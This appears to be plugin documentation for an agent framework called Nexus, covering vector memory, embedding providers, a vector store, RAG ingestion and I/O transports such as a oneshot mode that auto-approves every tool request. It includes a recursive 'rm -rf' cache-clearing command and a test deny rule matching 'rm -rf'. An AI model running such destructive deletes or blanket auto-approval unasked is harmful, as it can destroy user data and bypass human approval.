section_priorityint45PromptRegistry priority. Higher numbers append later.

The active embeddings.provider plugin owns the model choice — set the embedding model on that plugin. The model used to populate a namespace must match the model used to query it.

Behavior

On io.input (priority 10)

Subscribed at priority 10 — earlier than the agent’s handler at 50. Sequence:

  1. Embed the user message via embeddings.provider.
  2. Query vector.store for top-k hits in the configured namespace.
  3. Filter by min_similarity.
  4. Stash the hits in plugin state.
  5. Optionally also store the input itself (auto_store_user_input).

When the agent builds the next llm.request (priority 50), the PromptRegistry calls buildPromptSection which renders the stashed hits as XML.

On memory.compacted

When nexus.memory.compaction or summary-buffer compaction fires, the plugin extracts the system-role summary message from CompactionComplete.Messages and stores it. Past context stays recallable even after the active history buffer trims it.

On memory.vector.store (explicit)

Plugins or tools can write a piece of content explicitly:

req := &events.VectorMemoryStore{
    Content: "User confirmed they prefer dark mode in long sessions",
    Source:  "agent",
    Metadata: map[string]string{"category": "preference"},
}
bus.Emit("memory.vector.store", req)
// req.Provider and req.Error filled in place

Source is recorded as a metadata tag on the chunk and shown in the rendered prompt block.

Prompt section

When at least one hit clears min_similarity, the plugin renders:

<recalled_memory>
These items were recalled from your vector memory based on the current user message.
Use them if relevant; ignore them if not.

  <item rank="1" similarity="0.842" source="compaction">
    Summary of prior turns: user is debugging the websocket reconnect logic...
  </item>
  <item rank="2" similarity="0.711" source="explicit">
    User mentioned the bug was specific to the staging environment.
  </item>
</recalled_memory>

When no hits clear the filter, the section returns an empty string and PromptRegistry skips it — turns with no recall add nothing to the prompt.

Salience

Salience policy is intentionally conservative:

  • Compaction summaries — high signal, low volume, written automatically.
  • Explicit stores — caller-decided.
  • User input — off by default. Auto-storing every message floods the namespace with low-value content, hurts recall quality, and racks up embedding costs.

If you want richer auto-storage, the recommended path is a separate plugin that subscribes to agent.turn.complete (or similar) and emits memory.vector.store with whatever salience heuristic fits your domain — e.g., “store assistant messages but not user messages”, or “store anything tagged important: true in metadata”.

ID scheme

Each stored doc gets a 16-hex-char ID derived from sha256(content || source || RFC3339Nano-timestamp). Time in the hash means re-storing the same content twice produces two entries — vector memory accumulates rather than dedupes. If you want exact-content dedupe, use nexus.memory.longterm instead.

Stored metadata

Every recall doc lands with:

KeyDescription
sourceOne of user, compaction, explicit, or whatever caller supplied.
storedRFC3339 UTC timestamp of when the doc was written.
sessionSession ID (only on user source).
backup_pathCompaction archive path (only on compaction source).

Plus any extra string metadata supplied on the VectorMemoryStore payload.

Multi-agent shells

In a desktop shell hosting multiple agents, each plugin instance receives a distinct InstanceID (see Plugin System → Instance IDs). The default namespace memory-{InstanceID} keeps each agent’s recall isolated automatically — no extra configuration needed.

To deliberately share memory across agents, override namespace to a common value.

Events

EventDirectionPayloadWhen
io.inputBus → pluginevents.UserInputTriggers query + stash.
memory.compactedBus → pluginevents.CompactionCompleteTriggers auto-store of summary.
memory.vector.storeAny → plugin*events.VectorMemoryStoreExplicit store.
embeddings.requestPlugin → bus*events.EmbeddingsRequestUsed during query and store.
vector.queryPlugin → bus*events.VectorQueryUsed during turn-start retrieval.
vector.upsertPlugin → bus*events.VectorUpsertUsed during store.

Limits

  • One namespace per agent instance. Multi-namespace recall (e.g., separate “facts” and “summaries” namespaces) isn’t supported in v1. Run two plugin instances if you need it.
  • No re-ranking. Hits are returned in cosine-similarity order. A future rag.reranker capability will allow LLM-based or cross-encoder rerank passes.
  • No filter. The query doesn’t pass a metadata filter. Adding one is a small change if you have a use case — file an issue.

Errors

  • Errors during query, embed, or store are logged as warnings rather than surfaced in the prompt. Recall is best-effort: a missing prompt section is far better than blocking the user’s turn on a transient embedding-API blip. Watch the engine log for vector memory: ... lines if you suspect recall is silently failing.

Embedding Providers

Plugins that advertise the embeddings.provider capability. Convert text to dense vectors so the rest of the RAG stack — vector stores, ingest, search — can find passages by semantic similarity.

Why a capability

Embedding APIs are ergonomically similar (text in, vectors out) but the providers and prices vary a lot. Splitting embeddings.provider into its own capability lets the same nexus.rag.ingest, nexus.tool.knowledge_search, and nexus.memory.vector plugins work against any backend — OpenAI today, Ollama or a self-hosted model tomorrow — without code changes elsewhere.

This mirrors how search.provider and llm.provider work. Pin one explicitly with a top-level capabilities: block when more than one is active.

Built-in adapters

Plugin IDBackendNotes
nexus.embeddings.openaiOpenAI embeddings APItext-embedding-3-* models. Needs OPENAI_API_KEY. Supports base_url override for Azure / OpenAI-compatible proxies.
nexus.embeddings.mockDeterministic hash-basedZero I/O, no API key. For tests and offline development.

Bus contract

// pkg/events/embeddings.go
type EmbeddingsRequest struct {
    Texts      []string
    Model      string
    Dimensions int          // optional truncation hint

    // Filled by the provider:
    Vectors  [][]float32
    Provider string
    Usage    EmbeddingsUsage
    Error    string
}

Emitted as a pointer payload on embeddings.request. The capability-resolved provider fills the result fields in place before Emit returns. Adapter handlers must:

  1. Ignore the event if req.Provider != "" (someone else already answered).
  2. Set req.Provider = pluginID whether the call succeeded or failed.
  3. Set either req.Error or req.Vectors, not both.
  4. Echo back the actual model used in req.Model so consumers can record what produced the vectors.

See the RAG guide for a full adapter skeleton.

OpenAI Embeddings

Plugin ID: nexus.embeddings.openai

Advertises the embeddings.provider capability backed by OpenAI’s /v1/embeddings API. Supports text-embedding-3-small (default), text-embedding-3-large, and text-embedding-ada-002. Compatible with Azure OpenAI and OpenAI-compatible proxies via base_url.

Configuration

nexus.embeddings.openai:
  api_key_env: OPENAI_API_KEY        # default; ignored if api_key is set directly
  # api_key: sk-...                  # direct literal (avoid checking in)
  # model: text-embedding-3-small    # default
  # dimensions: 1536                 # provider default; smaller = cheaper
  # base_url: https://api.openai.com/v1/embeddings
  # timeout: 30s
KeyTypeDefaultDescription
api_keystringOpenAI API key (direct literal).
api_key_envstringOPENAI_API_KEYEnv var name to read the key from when api_key is unset.
modelstringtext-embedding-3-smallEmbedding model.
dimensionsint(provider default)Optional truncation. text-embedding-3-* accepts arbitrary smaller dims; older models ignore this.
base_urlstringhttps://api.openai.com/v1/embeddingsOverride for Azure / proxies.
timeoutduration30sHTTP timeout for the embeddings call.

Model picking

ModelDim (default)Notes
text-embedding-3-small1536Default. Cheap, good enough for most retrieval.
text-embedding-3-large3072~3× the price; better on hard semantic tasks, more storage.
text-embedding-ada-0021536Legacy. Cheaper than 3-large, less accurate than 3-small.

You can request a smaller dimensionality from text-embedding-3-* to trade some quality for storage and search latency:

nexus.embeddings.openai:
  model: text-embedding-3-large
  dimensions: 1024     # roughly 3-small accuracy at 2/3 the storage

Switching models

The embedding cache (in nexus.rag.ingest) is keyed on content hash, not model. Mixing vectors from two models in one namespace produces nonsense rankings, so when you change model or dimensions you should:

rm -rf ~/.nexus/vectors/_cache/
nexus ingest --namespace=kb ./docs    # re-embed under the new model

Events

EventDirectionPayload
embeddings.requestAny → plugin*EmbeddingsRequest

Pointer-fill: the plugin sets req.Vectors, req.Provider, req.Model, req.Usage (or req.Error) in place.

Errors

  • no API key configured (set api_key in config or OPENAI_API_KEY env var) at boot — set the key in env or in the config block.
  • openai returned HTTP 401 — invalid or expired key. Check the variable name in api_key_env is the one actually set in the shell.
  • expected N embeddings, got M — the API returned a different number of vectors than the input text count. The adapter retries the request internally; if you see this surfaced, the API call partially failed mid-stream. Re-running ingest will pick up where the cache stopped.

Mock Embeddings

Plugin ID: nexus.embeddings.mock

A deterministic, zero-I/O embeddings.provider for tests and offline development. Same text in → same vector out. No network, no API key, sub-millisecond per call.

The vectors are derived from the SHA-256 hash of the input text. Two different inputs map to two different (but stable) vectors; the same input always maps to the same vector. The output is unit-normalized so backends like chromem-go that require normalized inputs accept it directly.

This plugin ships in the main binary alongside production providers — same pattern as nexus.io.test. It is opt-in; to use it just include it in plugins.active.

Configuration

nexus.embeddings.mock:
  # dimensions: 128            # default
  # model: mock-embedding      # default; echoed back in EmbeddingsRequest.Model
KeyTypeDefaultDescription
dimensionsint128Output vector dimensionality. Per-call override via EmbeddingsRequest.Dimensions.
modelstringmock-embeddingEchoed back as EmbeddingsRequest.Model.

When to use it

  • Integration tests. The RAG integration tests under tests/integration/rag_test.go use this plugin so the suite runs without an API key and without spending money. See Integration Testing.
  • Adapter and storage development. When iterating on a new vector store backend, you don’t want a real embedding API in the loop. Wire up nexus.embeddings.mock to keep the focus on the storage side.
  • Pipeline smoke tests. Boot a CLI ingest with mock embeddings to confirm chunking, persistence paths, and watch-mode wiring all work, then swap in a real provider.

When not to use it

The mock has no semantic structure — “cat” and “kitten” produce vectors as different as “cat” and “transistor radio”. Tests that depend on similarity rankings for meaning will give wrong-shaped signals. The included integration tests work around this by querying with the exact stored content (which has bit-for-bit-identical vectors and produces similarity ≈ 1.0).

Don’t use this plugin in production. Don’t use it for anything where retrieval quality matters.

Events

Same as any embeddings.provider: subscribes to embeddings.request, fills the result in place. See Embedding Providers for the full payload shape.

Vector Stores

Plugins that advertise the vector.store capability. Persist embedding vectors with their content and metadata, and answer nearest-neighbor queries against a named subset (a namespace).

Why a capability

Vector backends differ wildly — pure-Go in-memory stores, embedded SQLite extensions, Postgres extensions, dedicated services like Qdrant or Weaviate. Splitting vector.store into its own capability lets the same nexus.rag.ingest, nexus.tool.knowledge_search, and nexus.memory.vector plugins work against any of them, with the choice driven entirely by config.

Built-in adapters

Plugin IDBackendNotes
nexus.vectorstore.chromemphilippgille/chromem-goPure Go, in-memory with JSON on-disk persistence. No CGO, no service to run. Suitable up to low millions of chunks.

Namespaces

Every operation takes a Namespace string. Namespaces isolate logically distinct knowledge — a project’s docs, a shared knowledge base, per-agent semantic memory. They are cheap to create (chromem-go creates the collection on first upsert) but do not validate against an allow-list: the consumer plugin is responsible for namespace policy.

nexus.tool.knowledge_search enforces an allow-list at the tool level. nexus.memory.vector namespaces by InstanceID. The vector store itself just routes by name.

Bus contract

Four event types cover the interface:

// pkg/events/vector.go
type VectorUpsert         struct { Namespace string; Docs []VectorDoc;
                                   Provider string; Error string }
type VectorQuery          struct { Namespace string; Vector []float32;
                                   K int; Filter map[string]string;
                                   Matches []VectorMatch; Provider string; Error string }
type VectorDelete         struct { Namespace string; IDs []string;
                                   Provider string; Error string }
type VectorNamespaceDrop  struct { Namespace string;
                                   Provider string; Error string }

type VectorDoc   struct { ID string; Vector []float32; Content string; Metadata map[string]string }
type VectorMatch struct { ID string; Content string; Metadata map[string]string; Similarity float32 }

Emitted as pointer payloads on vector.upsert, vector.query, vector.delete, vector.namespace.drop. Adapters mutate in place and set req.Provider / req.Error (and req.Matches on query) before Emit returns.

Upsert semantics

VectorUpsert replaces documents with matching IDs. Adapters without native upsert (chromem-go) implement this as Delete(IDs) followed by Add. Re-ingesting the same path with nexus.rag.ingest is therefore safe and idempotent.

Metadata constraint

VectorDoc.Metadata is map[string]string — the common denominator across chromem, sqlite-vec, pgvector, Qdrant. Numeric or boolean metadata should be stringified at the producer.

Query filter

VectorQuery.Filter is an exact-match metadata filter. {"source": "docs/foo.md"} returns only chunks whose stored metadata’s source field equals docs/foo.md. Empty filter returns over the whole namespace. Range / contains / regex filters are backend-dependent and not exposed in v1.

Idempotent drop

VectorNamespaceDrop succeeds whether the namespace exists or not. Adapters must not error on missing namespaces; the consumer is allowed to call drop defensively at startup or shutdown.

Chromem-go Vector Store

Plugin ID: nexus.vectorstore.chromem

Backed by philippgille/chromem-go — a pure-Go, in-memory vector database with JSON on-disk persistence. No CGO, no separate service. Each namespace becomes a chromem-go collection under the configured path.

Suitable up to roughly low millions of chunks depending on dimensionality and host RAM. Beyond that, migrate to a dedicated backend (sqlite-vec, pgvector, Qdrant) — the vector.store event surface is identical, so consumers don’t change.

Configuration

nexus.vectorstore.chromem:
  path: ~/.nexus/vectors    # default
  compress: false           # gzip-compress collection files on disk
KeyTypeDefaultDescription
pathstring~/.nexus/vectorsDirectory for the chromem DB. One subdirectory per namespace. Created if missing.
compressboolfalseGzip-compress collection files. Saves disk at the cost of a little CPU on read/write.

~ is expanded relative to $HOME.

On-disk layout

~/.nexus/vectors/
├── kb/                          # one chromem collection per namespace
│   ├── ...documents
│   └── metadata
├── project-docs/
│   └── ...
└── memory-react/
    └── ...

Plus the embedding cache (managed by nexus.rag.ingest, not this plugin) at ~/.nexus/vectors/_cache/. Keeping cache and store under the same root makes them easy to back up and easy to wipe together when switching embedding models.

Behavior

Upsert

chromem-go has no native upsert. The plugin implements it as Delete(IDs) followed by Add(...). Stable IDs (which nexus.rag.ingest produces from <sha256-prefix-of-abspath>-<chunk-idx>) make re-ingest idempotent.

Query

Cosine similarity over normalized vectors. The plugin clamps K to the namespace size to avoid chromem panicking when asked for more results than exist, and short-circuits empty namespaces with a zero-results response (no error).

Delete

VectorDelete ignores unknown IDs. Watch-mode deletes in nexus.rag.ingest rely on this — they delete a fixed upper bound of IDs (0..4095) under the file’s path-hash without first querying how many actually exist.

Drop namespace

VectorNamespaceDrop removes the entire collection — both in-memory and the on-disk directory. Idempotent: dropping an unknown namespace returns success.

Concurrency

The plugin holds a mutex around GetOrCreateCollection and GetCollection/DeleteCollection. Per-collection chromem operations (Add, QueryEmbedding, Delete) are themselves thread-safe, so reads and writes against an existing namespace fan out without serialization.

Events

Subscribes to all four vector.* events. See Vector Stores for payload shapes.

EventDirectionPayload
vector.upsertAny → plugin*VectorUpsert
vector.queryAny → plugin*VectorQuery
vector.deleteAny → plugin*VectorDelete
vector.namespace.dropAny → plugin*VectorNamespaceDrop

Limits and caveats

  • In-memory at runtime. chromem-go loads the full collection into RAM on first access. A namespace with 100k chunks at 1536 dims is ~600 MB resident. Watch the process RSS when scaling up.
  • Single-process. Two engines pointed at the same path will race on writes. Use one process per path, or pick a backend with proper transactional guarantees.
  • No native upsert / no atomic transactions. The delete-then-add pattern is exposed as a single call from the consumer’s perspective but isn’t transactional under the hood. A crash between delete and add can leave a chunk’s slot empty until the next ingest. Re-running ingest fixes it; the embedding cache makes that cheap.
  • No range or full-text filter. VectorQuery.Filter is exact-match string equality only. If you need richer filters, that’s a v2 backend feature.

RAG

Plugins that consume embeddings.provider and vector.store to build a retrieval pipeline.

For an end-to-end walkthrough — wiring a profile, ingesting docs, and getting an agent to cite sources — see the RAG guide.

Plugins

Plugin IDRole
nexus.rag.ingestReads files, chunks them, embeds via embeddings.provider, upserts via vector.store. Two entry points (event + watch mode) sharing one codepath. Backs the nexus ingest CLI subcommand.

Two more RAG consumers live elsewhere in the plugin tree:

They’re under plugins/tools/ and plugins/memory/ because they fit those existing categories — the RAG namespace is reserved for ingestion machinery and any future RAG-specific glue.

RAG Ingest

Plugin ID: nexus.rag.ingest

Ingests files into the vector store. One plugin, two entry points sharing one codepath:

  • Event mode — any plugin emits *events.RAGIngest on "rag.ingest". Plugin reads → chunks → embeds uncached chunks → upserts. Sync pointer-fill (returns with Chunks / SkippedCached / Error set), plus a notification event "rag.ingest.result" for observers.
  • Watch modefsnotify watchers declared in config fire the same code path on writes/deletes, debounced 250ms to coalesce save bursts.

The nexus ingest CLI subcommand drives event mode from a minimal engine — useful for bulk pre-loading without a running agent. See RAG guide → bulk-ingest CLI reference.

Capabilities

nexus.rag.ingest requires both:

  • embeddings.provider — to produce vectors from chunk content
  • vector.store — to persist them

Both are auto-activated via Requires() if not in the user’s active list.

Configuration

nexus.rag.ingest:
  chunker:
    size: 1000        # default
    overlap: 200      # default
  cache_dir: ~/.nexus/vectors/_cache    # default
  watch:
    - path: ./docs
      glob: "*.md"
      namespace: project-docs
    - path: ./knowledge-base
      namespace: kb
KeyTypeDefaultDescription
chunker.sizeint1000Target chunk size in characters.
chunker.overlapint200Overlap between adjacent chunks. Preserves context across boundaries.
cache_dirstring~/.nexus/vectors/_cacheEmbedding cache directory. Content hash → vector.
watchlist(empty)fsnotify watch entries. Each requires path and namespace; glob optional.

Chunker

Recursive-character splitter: paragraph (\n\n) → line (\n) → sentence (. ) → space → hard-split-by-character. Each step backs off when the next chunk would exceed size. Overlap is taken as the trailing N characters of the previous chunk seeded into the next, so retrieval matches that span the boundary still hit.

The chunker is internal to this plugin — there is no shared pkg/rag/chunker. A second caller would justify promotion; until then, keep it simple.

Embedding cache

Content-hash → vector, persisted as one JSON file per entry under cache_dir. Two-byte directory shard keeps ls fast at scale.

The cache is not keyed per embedding model. If you change the embedding model or dimensionality, drop cache_dir — mixing vectors from two models in a namespace is incoherent regardless of cache state, so re-ingest is required either way:

rm -rf ~/.nexus/vectors/_cache/
nexus ingest --namespace=kb ./docs

Chunk IDs

Deterministic: <sha256-prefix-of-abspath>-<chunk-idx>. Two consequences:

  • Idempotent re-ingest. Replaying the same file produces identical IDs, so the upsert path replaces existing chunks rather than accumulating duplicates.
  • Cheap deletes. nexus.rag.ingest doesn’t track how many chunks were stored per file. Watch-mode deletes drop a generous upper bound of IDs (4096) under the file’s path-hash; the underlying vector store ignores unknown IDs. Files with more than 4096 chunks (rare; that’s >4 MB at default chunk size) need a wider limit — file an issue.

Stored metadata

Every chunk lands in the store with this metadata:

KeyDescription
sourceAbsolute path to the source file.
path_hashFirst 16 hex chars of the path’s SHA-256. Useful for filter queries.
chunk_idxZero-based chunk index (string).
chunk_sizeLength of the chunk content in characters (string).

Plus any extra Metadata fields supplied on the RAGIngest payload by the caller.

Watch mode

Each watch: entry installs an fsnotify watcher on path. On a Write or Create event, the file is debounced (250ms) and re-ingested. On Remove or Rename, the file’s chunks are dropped via rag.ingest.delete.

Globs are matched both relative-to-root and on basename, so glob: "*.md" works for both docs/getting-started/installation.md and notes.md in the watched root.

The watcher runs only when at least one entry is configured. With no watch: block, the plugin runs in event mode only.

Bus contract

EventDirectionPayloadPurpose
rag.ingestAny → plugin*RAGIngestIngest one file. Sync pointer-fill.
rag.ingest.deleteAny → plugin*RAGIngestDeleteDrop a file’s chunks. Sync pointer-fill.
rag.ingest.resultPlugin → bus*RAGIngestNotification after rag.ingest completes.
embeddings.requestPlugin → bus*EmbeddingsRequestUsed during ingest.
vector.upsertPlugin → bus*VectorUpsertUsed during ingest.
vector.deletePlugin → bus*VectorDeleteUsed during file delete.

RAGIngest payload

FieldDirectionDescription
PathinputAbsolute or relative path to the file.
NamespaceinputTarget namespace in the vector store.
MetadatainputOptional metadata merged into every chunk.
Provideroutputnexus.rag.ingest.
ChunksoutputNumber of chunks produced and upserted.
SkippedCachedoutputHow many of those came from the embedding cache.
ErroroutputNon-empty on failure.

RAGIngestDelete payload

FieldDirectionDescription
PathinputAbsolute or relative path.
NamespaceinputTarget namespace.
Provideroutputnexus.rag.ingest.
DeletedoutputCurrently always 0; the underlying vector store drops by ID without counting.
ErroroutputNon-empty on failure.

Errors

  • namespace requiredNamespace was empty on the request payload.
  • read PATH: permission denied — file unreadable. Watch-mode entries should point at directories whose permissions don’t change at runtime.
  • embed: <provider error> — the embeddings provider returned an error. Look at the provider’s adjacent log line for the underlying cause.
  • upsert: <store error> — the vector store rejected the batch. Most commonly this is a backend running out of disk; check the store’s path location.

I/O Interface Plugins

I/O plugins handle user interaction — displaying agent output and collecting user input. You need exactly one active I/O plugin.

Available I/O Plugins

PluginIDInterface
Terminal UInexus.io.tuiBubbleTea-based terminal interface
Browser UInexus.io.browserHTTP/WebSocket web interface
Wails Desktopnexus.io.wailsWails webview transport for desktop apps
Oneshotnexus.io.oneshotNon-interactive single-turn JSON transcript (scripting / CI)
Broker IOnexus.io.brokerDial-back transport for instances spawned by the session broker

I/O Event Flow

Both I/O plugins follow the same event pattern:

  • Input: Collect user text → emit io.input
  • Output: Receive io.output → display to user
  • Streaming: Receive io.output.stream chunks → render incrementally
  • Approvals: Receive io.approval.request → show dialog → emit io.approval.response
  • Questions: Receive io.ask → show prompt → emit io.ask.response
  • Status: Receive io.status → update status indicator

Terminal UI (TUI)

A rich terminal interface built with BubbleTea. Provides markdown rendering, streaming output, approval dialogs, and status indicators.

Details

IDnexus.io.tui
DependenciesNone

Configuration

No additional configuration. The TUI plugin uses BubbleTea defaults.

Events

Subscribes To

EventPriorityPurpose
io.output50Display agent responses
io.output.stream / io.output.stream.end50Streaming response rendering
io.status50Update status bar (thinking, tool_running, etc.)
io.approval.request50Show tool approval dialogs
io.ask50Show question prompts
thinking.step50Display thinking indicators
plan.approval.request50Show plan approval dialogs
plan.created50Display generated plans
agent.plan50Display plan progress
session.file.created / session.file.updated50Show file activity notifications
io.history.replay50Replay conversation on session resume
cancel.complete50Handle cancellation UI

Emits

EventWhen
io.inputUser submits a message
io.approval.responseUser responds to approval dialog
io.ask.responseUser answers a question
plan.approval.responseUser approves/rejects a plan
io.session.start / io.session.endSession lifecycle
cancel.requestUser cancels current operation
cancel.resumeUser resumes after cancellation

Features

  • Markdown rendering in the terminal
  • Streaming response display with incremental rendering
  • Approval dialogs for tool execution
  • Plan display and approval
  • Status bar showing current agent state
  • File creation/update notifications
  • Session resume with history replay
  • Built-in commands: /quit, /exit

Browser UI

A web-based interface using HTTP and WebSockets. Provides the same functionality as the TUI but accessible through a browser.

Details

IDnexus.io.browser
DependenciesNone

Configuration

KeyTypeDefaultDescription
hoststringlocalhostHTTP server bind address
portint8080HTTP server port
open_browserbooltrueAutomatically open the browser on start

Events

Subscribes to and emits the same events as the TUI plugin.

Architecture

  • HTTP Server — Serves the web UI static assets
  • WebSocket — Real-time bidirectional communication
  • Hub — Coordinates multiple WebSocket connections

Input is emitted asynchronously to avoid deadlocks with the event bus.

Example Configuration

nexus.io.browser:
  host: localhost
  port: 3000
  open_browser: true

Oneshot I/O

A non-interactive I/O plugin for scripting, batch jobs, and CI. It runs the agent for a single turn, auto-approves every approval request, and writes a JSON transcript of the run to stdout (and optionally a file).

The name reflects its semantics: one prompt in, one transcript out, then the process exits. (A future nexus.io.headless plugin will keep a long-running process alive so external systems can drive it — this is not that.)

Details

IDnexus.io.oneshot
DependenciesNone

Use this plugin instead of nexus.io.tui or nexus.io.browser — exactly one I/O plugin should be active at a time.

Prompt resolution

The plugin resolves the prompt to feed into the agent from the first of these sources that is non-empty:

  1. NEXUS_ONESHOT_PROMPT environment variable
  2. input field in the plugin config
  3. input_file field in the plugin config (path to a text file)
  4. Piped stdin (only when stdin is not a terminal)

If none of these yield a prompt, the run fails fast and still emits a JSON document containing the error so callers get something actionable.

Configuration

plugins:
  active:
    - nexus.io.oneshot
    - nexus.llm.anthropic
    - nexus.agent.react
    - nexus.memory.capped

  nexus.io.oneshot:
    input: ""             # inline prompt, or leave empty to use another source
    input_file: ""        # path to a file containing the prompt
    output_file: ""       # optional: also write the JSON transcript to this path
    pretty: true          # pretty-print the JSON (default true)
    read_stdin: true      # allow reading a piped stdin as a fallback (default true)

All fields are optional.

Usage

# Pipe a prompt through stdin
echo "What is 2+2?" | bin/nexus -config configs/oneshot.yaml

# Supply the prompt via environment variable
NEXUS_ONESHOT_PROMPT="Summarize octopus intelligence" \
  bin/nexus -config configs/oneshot.yaml

# Read the prompt from a file (via config)
bin/nexus -config configs/oneshot.yaml   # with input_file: ./prompt.txt set

# Feed the JSON transcript into jq for post-processing
echo "List three interesting facts about octopuses" \
  | bin/nexus -config configs/oneshot-planned.yaml \
  | jq '.final_output'

Auto-approval

The oneshot plugin auto-approves every approval request so agents with planners and protected tools can run unattended:

  • io.approval.request (tool call approval) → responds Approved: true
  • plan.approval.request (planner approval) → responds Approved: true
  • io.ask (free-form question to the user) → responds with an empty string

Every auto-approval is recorded in the approvals array of the transcript so callers can audit what happened.

⚠️ Because every approval is granted, be deliberate about which tools you make available under this profile. Avoid enabling destructive shell commands or filesystem writes outside a sandbox unless you trust the prompt source.

JSON transcript schema

The root document is tagged with schema: "nexus.oneshot.transcript/v1".

FieldTypeDescription
schemastringAlways nexus.oneshot.transcript/v1
session_idstringNexus session ID (matches ~/.nexus/sessions/<id>/)
started_at / ended_atRFC3339 timestampLifetime of the run
duration_msnumberWall-clock duration
final_outputstringFinal assistant message text
plansarrayplan.created events (full plan snapshots)
plan_updatesarrayagent.plan events (step status transitions)
thinkingarraythinking.step events (reasoning trace)
approvalsarrayAuto-approved tool / plan / ask requests
errorsarraycore.error events and error-role io.output messages

Every array field is omitted from the JSON when empty.

Events

Subscribes To

EventPriorityPurpose
io.output50Capture final assistant text and error messages
io.approval.request10Auto-approve tool call approvals
plan.approval.request10Auto-approve plan approvals
io.ask10Auto-respond with an empty answer
plan.created50Record generated plans in the transcript
agent.plan50Record plan status updates
thinking.step50Record reasoning trace
agent.turn.start / agent.turn.end50Detect when the single turn has completed
core.error50Record errors in the transcript

The approval / ask handlers subscribe at priority 10 so they run before any other plugin’s handlers and respond immediately.

Emits

EventWhen
io.inputOnce during Ready, with the resolved prompt
io.approval.responseAuto-approval for a tool call
plan.approval.responseAuto-approval for a plan
io.ask.responseAuto-response for an ask prompt
io.session.startOn Ready
io.session.endAfter the final JSON transcript has been flushed

Lifecycle

  1. Init wires subscriptions and reads config.
  2. Ready emits io.session.start, resolves the prompt, then emits io.input on a new goroutine so the engine’s main loop can install its signal + session-end handlers.
  3. The agent runs its turn. Any approval or ask prompts are auto-handled.
  4. When agent.turn.end brings the turn depth back to zero, the plugin builds the JSON transcript, writes it to stdout (and output_file if set), then emits io.session.end to trigger engine shutdown.
  5. Shutdown is idempotent — if the run was terminated by a signal before the turn completed, it still flushes whatever was captured.

Sample profiles

Two profiles ship with Nexus:

Test IO (nexus.io.test)

Non-interactive IO plugin for automated integration testing. Replaces nexus.io.tui in test configurations to drive sessions programmatically.

Purpose

The test IO plugin feeds scripted inputs into the engine, collects all bus events during execution, and handles approval requests automatically. Used alongside pkg/testharness for Go integration tests.

Configuration

plugins:
  active:
    - nexus.io.test
    # ... other plugins

  nexus.io.test:
    inputs:                          # scripted user messages (in order)
      - "Hello, who are you?"
      - "List files in current directory."
    input_delay: 500ms               # delay between inputs (default: 500ms)
    approval_mode: approve           # approve | deny | per-prompt (default: approve)
    approval_rules:                  # only when approval_mode: per-prompt
      - match: "shell"               # substring match on tool call or description
        action: approve
      - match: "rm -rf"
        action: deny
    ask_responses:                   # canned answers for io.ask events
      - "yes"
    hitl_responses:                  # canned answers for hitl.requested events
      - "staging"
    hitl_auto_respond: true          # answer hitl.requested at all (default: true)
    mock_responses:                  # synthetic LLM responses (no real API calls)
      - content: "Hello! I'm a test assistant."
      - content: "Here are the files: main.go, go.mod"
    timeout: 60s                     # max session duration (default: 60s)

Approval Modes

ModeBehavior
approveAuto-approve all approval requests
denyAuto-deny all approval requests
per-promptMatch against approval_rules, approve if no rule matches

Mock Responses

When mock_responses is configured, the plugin intercepts before:llm.request (at priority 20, after gates at priority 10) and injects synthetic llm.response events instead of letting requests reach the real LLM provider. No API key needed, millisecond execution.

Gates still fire first — a stop words gate can veto a request before the mock ever sees it. Responses are consumed in order; the last one repeats for any remaining requests.

Mock responses can include tool calls for testing tool execution flows:

mock_responses:
  - content: ""
    tool_calls:
      - name: shell
        arguments: '{"command": "ls"}'
  - content: "Done listing files."

Human-in-the-loop Answers

Every hitl.requestedask_user, an approval-policy gate, a remote A2A agent parking at INPUT_REQUIRED — is answered automatically. The answer is the next hitl_responses entry (a bare string is free_text; a {choice_id: ..., free_text: ...} map sets either field), else the request’s own default_choice_id, else an empty answer. The last entry repeats.

Set hitl_auto_respond: false to answer nothing. The question is still collected for assertions, but the plugin that asked it stays blocked, so a test can hand ownership of the answer to something else: another transport, a subscription in the test body, or — as in tests/integration/a2a_loopback_test.go — a second engine’s human. Without it a question can never be observed outstanding, because this plugin settles it inside the same dispatch.

Session Ending

io.session.end is emitted when the last scripted input’s turn completes, when timeout elapses, or when a turn is still in flight three seconds after the last input was sent — the stalled-turn detector, which exists so a permanently vetoed turn does not hang until the global timeout. That three-second cutoff is not configurable, so a test whose turn legitimately waits longer (a delegation parked on a human, say) must arrange for the wait to end inside it.

Input Feeding

Inputs are sent sequentially. The plugin waits for the agent to become idle (turn depth returns to zero) before sending the next input. After all inputs are sent and the final turn completes, the plugin emits io.session.end.

Ask Responses

When the agent emits io.ask events, the plugin responds with canned answers from ask_responses in order. The last response in the list repeats for any remaining asks. If ask_responses is empty, an empty string is returned.

Event Collection

The plugin subscribes to all bus events via SubscribeAll and stores them in an ordered slice. After the session ends, collected events are accessible via the Collected() method for test assertions.

Integration with Test Harness

The test IO plugin is designed to work with pkg/testharness:

h := testharness.New(t, "configs/test-minimal.yaml")
h.Run()                              // boots engine, feeds inputs, waits for completion
h.AssertEventEmitted("io.output")    // check collected events
h.AssertNoSystemOutput()             // no gate vetoes

See the Integration Testing guide for full usage.

Subscriptions

EventPurpose
io.approval.requestAuto-respond per approval config
plan.approval.requestAuto-respond per approval config
io.askRespond with canned answers
hitl.requestedRespond per hitl_responses / hitl_auto_respond
agent.turn.startTrack turn depth for input pacing
agent.turn.endDetect idle state, trigger next input or session end
* (wildcard)Collect all events for assertions

Emissions

EventWhen
io.session.startOn Ready()
io.inputFor each scripted input
io.approval.responseIn response to approval requests
plan.approval.responseIn response to plan approval requests
io.ask.responseIn response to ask events
hitl.respondedIn response to hitl.requested, unless hitl_auto_respond: false
io.session.endAfter all inputs processed or timeout

Wails Desktop IO

A Wails-native IO transport for embedding Nexus inside a desktop webview shell. Unlike nexus.io.browser, which is a session-scoped dev-mode transport owned by the stock nexus binary, nexus.io.wails is process-scoped and owned by a host Wails application.

Nexus does not take a build-time dependency on github.com/wailsapp/wails/v2/pkg/runtime. The plugin defines a small Runtime interface and the downstream Wails app hands in a wrapper around runtime.EventsEmit / runtime.EventsOn before calling engine.Boot.

Details

IDnexus.io.wails
DependenciesNone
StatusProduction (config-driven event bridging, multi-agent scoping)

Configuration

The plugin supports two modes:

Legacy mode (no config keys): falls back to hardcoded chat-event subscriptions (io.output, io.input, etc.) for backward compatibility.

Config-driven mode: explicit subscribe and accept lists control which events are bridged:

plugins:
  nexus.io.wails:
    # Events bridged outbound: bus → frontend
    subscribe:
      - "match.result"
      - "hello.response"
      - "ui.state.restore"
      - "io.file.selected"
      - "session.file.created"
